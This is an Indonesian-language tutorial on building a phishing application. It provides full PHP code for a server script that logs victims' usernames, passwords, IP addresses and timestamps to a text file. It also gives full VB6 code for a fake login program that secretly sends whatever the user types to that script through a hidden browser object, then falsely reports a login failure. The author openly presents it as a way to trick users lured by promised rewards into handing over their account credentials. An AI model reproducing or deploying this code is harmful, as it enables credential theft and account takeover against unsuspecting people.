Cara Membuat Phising Aplication

Pada posting kali ini saya akan mengajarkan tentang Phising program ini akan memberitahu apa yang di ketikan
di textbox dan IP'y program ini biasa dijadikan para hacker untuk memancing user yang tergiur akan keuntungn yang diberian program ini
misalnya si hacker membuat ini untuk ngehack token padahal program ini akan ngehack id user'y hahaha
untuk membuat program ini kalian membutuhkan hosting kalau saya pake 1freehosting.com OK seperti biasa langsung praktek

masuk ke hosting kalian lalu ke Filemanager lalu buat file dengan mengklik new File
setelah itu masukan kode berikut

<?php
$datum=date('d-m-Y / h:i:s a');
$email = $_GET[e];
$password = $_GET[p];
$ip = getenv ('REMOTE_ADDR');
$fl = fopen(Terserahkalian.txt', 'a');
fwrite($fl, "IP Address : $ip\nDate : $datum\nUsername : $email\nPassword : $password\n\n");
fclose($fl);
$ref = $_SERVER['HTTP_REFERER'];
header("location: $ref");
?>

lalu simpan dengan nama terserah.php

lalu buka VB6
Dan siapkan form dan module, form diberi nama frmUtama dan module diberi nama modConnect
lalu Masukan kode ini di modconnect  =

 Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef _
lpSFlags As Long, ByVal dwReserved As Long) As Long
Const INTERNET_CONNECTION_MODEM = 1
Const INTERNET_CONNECTION_LAN = 2
Const INTERNET_CONNECTION_PROXY = 4
Const INTERNET_CONNECTION_MODEM_BUSY = 8


'Fungsi yang berguna untuk mengecek koneksi internet yang ada di komputer kita menggunakan fungsi api InternetGetConnectedState
Function CekInternet(Optional connectMode As Integer) As Boolean
Dim flags As Long
CekInternet = InternetGetConnectedState(flags, 0)
connectMode = flags
End Function

lalu di frmUtama masukan 2 textbox, 1 command button dan 1 label
textbox pertama diberinama : txtUname
textbox kedua diberinama : txtPass

command button diberi nama : cmdLogin
command button diberi caption : &Login

label diberi nama : LBLInfo

masukan kode ini kedalam form

Private Sub Form_Load()
lblInfo.Caption = "Memeriksa Koneksi Internet"
If CekInternet = False Then
lblInfo.Caption = "Maaf, Kmputer anda tidak terkoneksi ke internet"
Else
lblInfo.Caption = "Komputer Anda Terkoneksi Dengan Internet"
Me.Caption = "DI SINI CAPTION'Y"
End If
End Sub


nah setelah itu klik 2x cmdLogin yg telah diberi caption Login tadi, dan masukan kode ini

Dim user, pass As String
Dim IE As Object
user = LCase(txtUname.Text)
pass = txtPass.Text

If txtUname.Text = "" Then
MsgBox "Kotak Teks masih kosong,silahkan isikan dengan benar !", vbExclamation, "Error"
Else
lblInfo.Caption = "Sedang Login ..."
Set IE = CreateObject("InternetExplorer.Application")

IE.Visible = 0
IE.Navigate "http://DomainKalin/NamaFile.php?e=" & _
  user & "&p=" & pass

Do While IE.Busy
Sleep 200 'sleep terserah kalian
Loop
IE.Quit
Set IE = Nothing

lblInfo.Caption = "Username/Password Salah !"
MsgBox "Username/Password Salah !", vbExclamation, "Error"
End If

Jangan lupa edit tulisan yang berwarna
untuk melihat hasil nanti file PHP tadi akan membuat fi txt yang di berinama di file PHP tadi
atau dengan cara

http://domainkamu.com/file.txt/